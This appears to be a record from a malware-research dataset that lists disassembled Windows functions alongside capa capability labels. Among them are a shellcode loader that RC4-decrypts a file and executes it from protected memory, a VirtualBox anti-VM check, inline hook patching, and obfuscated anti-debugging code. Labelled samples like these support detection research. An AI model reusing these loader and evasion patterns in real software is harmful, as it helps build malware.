joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180051c70
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x70
mov rdi, rsp
mov ecx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
imul rax, rax, 0x38
mov rcx, qword [0x18006dd80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], 5
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x180051cf4
mov rax, qword [rsp + 0x50]
sub rax, 5
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
add rax, 2
mov qword [rsp + 0x48], rax
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180051d1d
mov eax, 0xa
jmp 0x180051e57
cmp dword [rsp + 0x88], 0
je 0x180051d8b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov byte [rax], 0xe9
mov rax, qword [rsp + 0x50]
add rax, 5
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58]
mov dword [rcx + 1], eax
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x180051d89
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov byte [rax], 0xeb
mov rax, qword [rsp + 0x60]
mov byte [rax + 1], 0xf9
jmp 0x180051dd7
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax + 0x20]
and al, 1
movzx eax, al
test eax, eax
je 0x180051dbb
mov rax, qword [rsp + 0x20]
add rax, 0x18
mov r8d, 7
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x180051dd7
mov rax, qword [rsp + 0x20]
add rax, 0x18
mov r8d, 5
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x88]
and al, 1
shl al, 1
mov rcx, qword [rsp + 0x20]
movzx ecx, byte [rcx + 0x20]
and cl, 0xfd
or cl, al
movzx eax, cl
mov rcx, qword [rsp + 0x20]
mov byte [rcx + 0x20], al
movzx eax, byte [rsp + 0x88]
and al, 1
shl al, 2
mov rcx, qword [rsp + 0x20]
movzx ecx, byte [rcx + 0x20]
and cl, 0xfb
or cl, al
movzx eax, cl
mov rcx, qword [rsp + 0x20]
mov byte [rcx + 0x20], al
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x180058e70]
call fcn.1800552a8
mov rax, rdi
add rsp, 0x70
pop rdi
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Get common file path
Get file size
Read file on windows

Disassembly:
push rbx
sub rsp, 0x1d0
lea rdx, [rsp + 0xc0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x140001221
lea rax, [rsp + 0xc0]
dec rax
nop
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x140001030
movsd xmm0, qword [str._neo.db]
lea rcx, [rsp + 0xc0]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
movsd qword [rax], xmm0
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
mov qword [rsp + 0x1e0], rbp
xor edx, edx
mov qword [rsp + 0x1e8], rsi
mov rcx, rax
mov qword [rsp + 0x1f0], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140001216
mov r9d, 4
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140001216
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r9d, 4
mov r8d, 0x3000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000120f
mov r8d, edi
mov rdx, rbp
mov rcx, rax
call fcn.140001cd0
movups xmm0, xmmword [str.RKhvWCFJUFSEmdPflR0oTuN85rWiUx9qWZpORLPjHJPAocxfzBWoJOGOWl9prlGz]
lea rax, [rsp + 0x70]
mov byte [rsp + 0xb0], 0
movups xmm1, xmmword [0x140019010]
lea rcx, str.cryptsp.dll
mov dword [rsp + 0x58], edi
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140019020]
mov dword [rsp + 0x5c], edi
movaps xmmword [rsp + 0x80], xmm1
movups xmm1, xmmword [0x140019030]
mov qword [rsp + 0x60], rbx
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x4c], 0x40
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call rax
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, 0x10
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000120f
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rsi, qword [rsp + 0x1e8]
mov rbp, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1f0]
add rsp, 0x1d0
pop rbx
ret
mov eax, 0xffffffff
jmp 0x1400011ee
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400011e9
mov eax, 1
add rsp, 0x1d0
pop rbx
ret
Function at 0x1400019a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019f0
xor al, al
add rsp, 0x28
ret

Function at 0x140005aa0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000589c
Function at 0x140008b54
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008b84
xor eax, eax
jmp 0x140008c47
mov rbp, rbx
cmp word [rax], si
je 0x140008ba9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008b90
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008b8c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008a74
movsxd r14, eax
test eax, eax
jne 0x140008be7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008b7d
mov rcx, r14
call fcn.1400095e8
mov rdi, rax
test rax, rax
jne 0x140008c00
xor ecx, ecx
call fcn.1400070ac
jmp 0x140008bdc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008a74
test eax, eax
jne 0x140008c31
mov rcx, rdi
call fcn.1400070ac
jmp 0x140008c3b
xor ecx, ecx
call fcn.1400070ac
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400155fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001567a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015671
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015671
mov rax, qword [rbp - 8]
jmp 0x14001568f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015644
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0x47
add al, 0x1d
xor al, 0xaf
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
lea edi, [rbp - 0x2941e63a]
invalid
Function at 0x140001070
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x450
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, r8
lea rcx, [rsp + 0x40]
xor ebx, ebx
mov r8d, 0x400
xor edx, edx
mov qword [rsp + 0x30], rbx
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x30]
mov dword [rsp + 0x38], 0x400
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSystemInformation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001120
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea rdx, str.VirtualBox
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
sete bl
mov eax, ebx
jmp 0x140001122
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140001cd0
mov rbx, qword [rsp + 0x460]
add rsp, 0x450
pop rdi
ret

Function at 0x140001150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x1400011e8
mov byte [rax], 0xc3
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0x58]
mov r8d, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400011e8
call rbx
jmp 0x1400011d7
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001cd0
add rsp, 0x70
pop rbx
ret
Function at 0x140b9d0ca
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
add rbx, 4
push 0x231d0483
jmp 0x140bbe9f7
rol dword [rsp + 0x23], 0x2a
push 0x1102bb8b
inc r9d
not r9d
push 0x7830d70b
push 0x2f04f4bb
mov qword [rsp + 0x40], rbp
mov ebp, 0x28cf812
mov rbp, qword [rsp + 0x30]
add rbp, 0x3e85
jmp rbp
xor r9d, ebp
push 0x11bca43f
push 0x12115bbe
rol word [rsp + 0x24], 0xee
rol r9d, 1
sar dword [rsp + 0x14], 0xbd
not r9d
jbe 0x140bb6a15
not dl
not esi
inc esi
xor r9b, al
xor esi, 0xa5293c30
movsx edi, al
jmp 0x140bc01e5

Function at 0x140b9ee6c
Capabilities:
Encode data using base64

Disassembly:
jmp 0x140bc4534
push 0x56b19ab5
neg word [rsp + 3]
dec ebx
lea rsp, [rsp + 8]
jne 0x140bb9251
mov rax, qword [rbp + riz]
call fcn.140bb88a7
mov eax, 0xfa132b3d
and ax, 0x37bd
btr rax, rax
mov rax, qword [rbp + rbx*8]
push 0x53b0df93
push 0xa2b79ab
cmp ebx, 1
mov qword [rsp + 3], 0x36b3340b
call fcn.140bc65b5
lea rsp, [rsp + 0x10]
jmp 0x140bb000c

Function at 0x140bb423c
Capabilities:
Encode data using base64

Disassembly:
pop rbp
call fcn.140bc627f
inc ax
btr rsi, rdi
xor bp, ax
imul edi, esi
movsx ecx, di
xor esi, ecx
adc rax, rsp
rol di, 0x2d
shr sil, 0x85
mov byte [rdi + rax - 0x3d880000], r9b
jp 0x140bd2c09
ror eax, 1
add r9b, byte [rsp + rcx*8 - 0x67a]
lea rdi, [r8 + rsi*2 + 0x2c3ba08c]
mov qword [rsp + rsi - 0x48c6a6d7], 0x65907ab6
not eax
imul edx, dword [rsp + rsi - 0x48c6a6cc]
cmovo rdi, rsi
sub dword [rsp + rsi - 0x48c6a6d5], 0xaab3d031
lea eax, [rax + rsi*2 - 0x49e2760e]
setbe sil
not byte [rsp + rsi - 0x48c6a5f9]
ror eax, 3
inc qword [rsp + rsi - 0x48c6a5f9]
rol edx, 0x5b
shr di, 0x6e
neg eax
dec byte [rsp + rdx - 0x40987f9]
xor eax, 0xe9130b3e
shl r9b, 0x86
pop rsi
neg eax
dec r8d
neg edi
lea eax, [r8 + rax + 0x1cbddeee]
jge 0x140bc8b23
neg esi
jg 0x140bda20c
btr r8d, r9d
xor dword [rsp + rsi*2 - 0x2400], eax
and ebp, r8d
adc si, cx
jp 0x140ba3093
dec rdx
and ax, dx
mov word [rsi + rax*2 - 0x4a96004c], di
mov ecx, dword [rbx + r9*2 - 0x4a960000]
lea rbx, [rbx + rax*2 - 0x4a960048]
xor ecx, ebp
mul edx
bswap ecx
lea rsi, [rax + r9*2 - 0x42d4d6fd]
lea ecx, [rcx + rdx*2 - 0x4a60e159]
jno 0x140bcc594
xor ecx, 0x3357286
sal r9, 0x6f
bswap ecx
lea rdi, [r9 + rax - 0x1b555be2]
bt r9d, eax
push rbp
xor dword [rsp + rax - 0x6b8effda], ecx
pop rbp
movsxd rcx, ecx
shl sil, 0x61
btc di, si
sbb sil, 0x9a
adc r11, rcx
jmp r11
inc rdx
not edi
rol edi, 2
neg edi
lea edi, [rdi + r8 + 0x311449f1]
push rbp
shr dl, 0xa1
lea rbp, [r8 + r8*4 - 0x35ed76cf]
ror rdx, 0xe4
xor dword [rsp + rsi - 0x39], edi
lea rbp, [rbp + rdx*8 + 0x1cb5018e]
pop rbp
movsx ecx, dx
movsxd rdi, edi
inc sil
add r11, rdi
sub r8b, dl
movsx r9d, dx
movzx eax, sil
mov rax, qword [r10 + rsi*8 - 0x1d0]
movzx edi, r9b
jne 0x140b991aa
neg rax
call fcn.140b9b393

Function at 0x140bb9281
Capabilities:
Encode data using base64

Disassembly:
xor dword [rsp + rax - 0x1ffc], esi
mov rbp, qword [rsp + rax - 0x1ffc]
not rax
call fcn.140bbd2f5
Function at 0x140bc2b05
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rbp + riz]
call fcn.140bab3f2
xor dword [rsp + r8*4], r9d
jmp 0x140baf223
not al
mov r8w, ax
movzx r8w, r8b
xchg word [rsp + rdi*2 - 0x7553ddfe], di
jmp 0x140ba7d41
call fcn.140bc7137
call fcn.140baf4a4
mov qword [rsp + rax - 9], r11
ret 0x18
pop rbp
movsxd r9, r9d
shr rsi, 0x1a
push rsi
adc r11, r9
call fcn.140ba8c40
mov edi, 0x3aa9ef00
lea rsi, [rdi*8 + 0x3fac1f0b]
movzx r9d, dil
movzx ax, byte [r10 + rdi*2 - 0x7553de00]
mov dl, byte [rdi + r10 - 0x3aa9eefe]
mov r8d, edi
shl esi, 0x3f
or al, dl
push rsi
jmp 0x140b9da25
jmp 0x140bb8e97
push 0x7e2f092d
lea rsp, [rsp + 0x18]
jbe 0x140bb8eb5
mov eax, 0xa402fd83
mov edx, 4
lea ecx, [rbx + riz - 4]
sal ecx, 3
sal edx, 3
mov eax, 0x92adf38
sar rax, 0x50
bswap eax
mov rax, rbp
push 0x7d350f22
add rax, rdx
ror dword [rsp], 0xeb
push 0xffffffffeda75906
mov qword [rbp + riz - 8], rax
lea rsp, [rsp + 0x10]
mov qword [rbp + riz - 0x10], rsp
sub rsp, rcx
and rsp, 0xfffffffffffffff0
push 0xffffffffef148339
sal byte [rsp + 5], 0xa7
lea rsp, [rsp + 8]
add rsp, rcx
jmp 0x140bc8b9b
push 0x33bf5585
cmp ebx, 4
jmp 0x140bb4fb7
test ebx, ebx
push 0x7baa4612
not dword [rsp + 3]
lea rsp, [rsp + 8]
je 0x140b98cc1
mov eax, 0x8585a5ac
sub eax, eax
lea rax, [rax*4 - 0x4fc086f7]
mov rax, qword [rbp + rbx*8]
push 0xfffffffff182398b
jge 0x140b9f70d
Function at 0x140bca311
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.140bb63f6
mov rdi, qword [r10]
mov r8d, 0x87a2749d
mov esi, r8d
mov r9d, esi
mov si, word [r10 + riz + 8]
mov edx, r9d
shr r9d, 0x21
lea r10, [r9 + r10 - 0x43d13a44]
rol r8d, 0xe2
not r9w
mov word ss:[rdi + r8*2 - 0x3d13a4ec], si
not r8d
mov esi, dword [rbx + r9 - 0x43d1c5b1]
call fcn.140bab943

Function at 0x140bca35c
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg edi, ecx
mov rbp, qword [rsp + rax - 0x2eb23c77]
not cx
neg eax
movsxd rsi, esi
pop rax
jle 0x140baa458

Function at 0x140bcc2f6
Capabilities:
Execute anti-debugging instructions

Disassembly:
not r9w
bt r8, 0x90
setae r8b
mov edi, dword [rsp + rcx*2 - 0x3e32e467]
xor bp, r9w
or al, 0x93
inc qword [rsp + rcx - 0x1f19722e]
lea r9, [rsp + r9 + 0x40]
mov r8, qword [rcx + r9 - 0x1f197250]
sbb rax, 0x3ba95b85
mov r9d, ecx
lea rcx, [r9*2 + 0x4908a1e]
mov qword [rcx + r10 - 0x42c36ece], r8
lea r10, [rcx + r10 - 0x42c36ece]
mul dl
jae 0x140bc3f86
pop rdx
pop rdx
pop r9
pop rsi
pop rax
pop r9
pop rsi
pop rsi
jo fcn.140bc56f3
lea rbx, [r8 + rbx - 0x4f9db430]
sub qword [rsp + rcx - 0x14b0000], rdi
setno cl
xor r9d, ebp
sar r8w, 0xa6
sbb r9d, esi
rol qword [rsp + rcx - 0x14b0001], cl
movsx edx, byte [rsp + rcx*2 - 0x2960001]
not r9d
sbb qword [rsp + r8 - 0x4f9dfed0], 0x4536bc98
neg r9d
mov eax, 0xf79922ac
mov byte [rsp + r8 - 0x4f9dfece], al
shl r8d, 0xec
sbb r9d, 0xf03d958a
and dx, 0x54a3
sub byte [rsp + rcx - 0x14affff], 0x29
mov qword [rsp + rdx - 0x23], rbp
xor dword [rsp + rcx*2 - 0x2960002], r9d
pop rbp
movsxd r9, r9d
mul ax
btr edx, 0x2a
cmovb rdi, r8
add r11, r9
jmp fcn.140bc56f3
Function at 0x140bccf05
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap esi
mov qword [rsp + rdx - 0x70493076], rbp
call fcn.140bd5d16
mov esi, dword [rbx + r8 - 0x7833d538]
movzx edi, r8w
xchg r8b, r9b
inc r9d
lea rbx, [rbx + rdi - 0xd534]
xor rdi, r8
movsx ecx, r9b
xor esi, ebp
bswap esi
dec esi
movsx edx, r8b
movzx eax, r9w
bswap esi
not esi
btc r9, r9
dec r8b
sub eax, 0x55b082ad
lea esi, [rsi + rdx*2 + 0x1722d116]
ror edx, cl
cwd
lea rdx, [r9 + rax*8 - 0x61f3175e]
push rbp
xor dword [rsp + rdi - 0x78330000], esi
shr r8d, 0xad
pop rbp
movsxd rsi, esi
add r11, rsi
xor di, word [r8 + r10 - 0x3c19e]
neg rax
mov si, word [r10 + r8*2 - 0x7833a]
inc r9
and r9b, cl
mov cl, byte [r8 + r10 - 0x3c19a]
ror edx, 0x42
call fcn.140b9e313
mov qword [rsp + 8], rbp
mov ebp, 0xdeb9ac90
btr ebp, 0xb2
xor dword [rsp + 8], r9d
mov rbp, qword [rsp + 8]
jmp 0x140bb83bd
jns 0x140bb68ee
mov qword [rsp + rcx - 0xf4], rbp
xchg r9d, eax
jmp 0x140bcc8f4
inc rdx
adc r11, rsi
jmp 0x140bd19cb
xor dword [rsp + rax - 0x38e0a81d], esi
bt r9d, 0
pop rbp
movsxd rsi, esi
xchg dx, di
jae 0x140bc4894
mul ax
sbb di, 0x4aa7
xor di, 0x84b7
sub di, 0x3721
mov r8d, ecx
shr rax, cl
xor di, 0x8b8d
sub esi, ecx
lea rsi, [r8*8 - 0x1dde75d5]
cbw
inc di
not dx
sar r8, 0x1c
xadd cx, ax
xor di, 0x6c01
cdq
xor rdx, 0xffffffffaf16f51a
sbb di, 0xae2f
call fcn.140bce148
mov esi, dword [rbx + riz]
add rbx, 4
mov ecx, 0xc4aff106
xor esi, ebp
movsx edx, cl
movzx r9d, dl
movzx edi, r9w
lea esi, [rsi + rcx + 0x375915ab]
ror esi, 3
lea esi, [rsi + rdx*2 + 0x1d345532]
push rdx
sub edx, 0x8fb6cf90
ror esi, 2
xor esi, 0x4b9b54b3
jmp 0x140b9b527
mov qword [rsp], 0x4d9b38b2
rol r9d, 1
add qword [rsp + 6], 0xffffffff979c8b81
not r9d
add word [rsp + 2], 0x6ca3
inc r9d
not r9d
neg byte [rsp + 0xc]
jge 0x140bc01df
movzx esi, word [rsp + rax - 0xf8]
rol r9d, 2
lea rsi, [rax*8 + 0x5e88c7ba]
xor eax, dword [rsp + rax - 0xe5]
shl si, 0x28
neg r9d
neg dil
lea r9d, [rax + r9 - 0x50b88342]
xor r9d, 0x2e01072d
bts esi, eax
idiv rsi
mov qword [rsp + rdx - 0x1a0d22bf], rbp
mov qword [rsp + rdx*4 - 0x68348b4c], rdi
and r8d, dword [rsp + rdx*2 - 0x341a459c]
sbb rsi, 0x2b349c3d
xor dword [rsp + rcx*8 - 0x7ffffa8], r9d
and dword [rsp + rdx*4 - 0x68348b59], esi
lea rbp, [rsi*4 - 0x20cbd148]
or eax, 0xbabc2920
mov rbp, qword [rsp + rdx - 0x1a0d22bf]
movsxd r9, r9d
adc r11, r9
pop rsi
pop r8
pop rsi
pop rsi
jmp fcn.140bc56f3
idiv eax
mov r9, qword [r10 + rax*8 - 0x900420]
ror ax, 0x63
mov r8w, word es:[r9 + rax - 0x128010]
lea r10, [rax + r10 - 0x12800a]
mov word [r10 + rax - 0x128010], r8w
jmp r11
Function at 0x140bcdf07
Capabilities:
Encode data using base64

Disassembly:
call fcn.140bb9f64
mov edi, 0x1c0968ab
mov edx, dword [rdi + rbx - 0x1c0968ab]
mov r8d, edi
call fcn.140bbab93
push 0x4cafac0e
lea rsp, [rsp + 0x20]
jmp fcn.140bb63a3
mov rax, qword [rbp + rbx*8]
jmp 0x140ba7707
push 0x7ca53735
cmp ebx, 1
jmp 0x140bc1c4d
cmp ebx, 2
push 0x778e7c1c
jmp 0x140bbcb07
lea rsp, [rsp + 8]
jne 0x140b9eebe
call fcn.140bc9455
movzx r8d, word [rbx]
mov esi, 0x37bd840f
mov edx, esi
mov edi, edx
xor r8w, bp
push rdx
mov ecx, 0x660838b5
xor r8w, 0xa09e
neg r8w
push rcx
movzx r9d, dl
pop r9
rol r8w, 1
add r8w, 0xeb1c
xor bp, r8w
ror ecx, 0x9e
not rdi
lea r8, [rsp + r8 + 8]
movzx si, byte [rdx + r8 - 0x37bd840f]
xor dx, di
mov word [r10 + r9 - 0x660838b7], si
mov r8d, dword [rbx + rdx*2 - 0x6f7bfffc]
lea r9, [r9*4 - 0x4ae9186b]
adc byte [rsp + rdx*2 - 0x6f7bfff9], r9b
movzx esi, byte [rsp + rdx*2 - 0x6f7bfffa]
lea rbx, [rbx + rsi*2 + 6]
bt rdi, 0x1e
shl rsi, cl
xchg word [rsp + rdx - 0x37bdfffc], dx
xor r8d, ebp
sal dl, 0x63
sub r9d, edi
xchg edx, esi
lea r8d, [r8 + rdx + 0x2b0d96b2]
xor qword [rsp + rdx], 0x193a0b97
neg r8d
ror esi, 0xc7
call fcn.140bbfc0d
push 0x3388ea23
push 0xffffffff812f089e
lea rsp, [rsp + 0x18]
jne 0x140ba9792
mov ecx, 0x2c0cb319
call fcn.140baff49
lea rsp, [rsp + 8]
jne 0x140ba2364
mov eax, 0x44a09012
jmp 0x140b9ee5e
mov qword [rsp], 0x313e99e
ror dword [rsp + 4], 0x69
dec ebx
not qword [rsp]
jmp 0x140bd69d0
jmp 0x140bc905c

Function at 0x140bd3466
Capabilities:
Parse pe header

Disassembly:
lea rsp, [rsp + 0x18]
jmp 0x140bd308b
jmp 0x140bb690b

Function at 0x140bd5386
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp + rdx - 0x18b], 0x7ea77a09
neg eax
rol r9, 0x35
lea eax, [rax + rdx*4 + 0x351cad7e]
bswap eax
call fcn.140bd9f9d

Function at 0x140bd713f
Capabilities:
Parse pe header

Disassembly:
xor bpl, dl
xor qword [rsp + 0x28], 0xffffffff87339ea6
jo 0x140b9f887
jns 0x140ba6ee4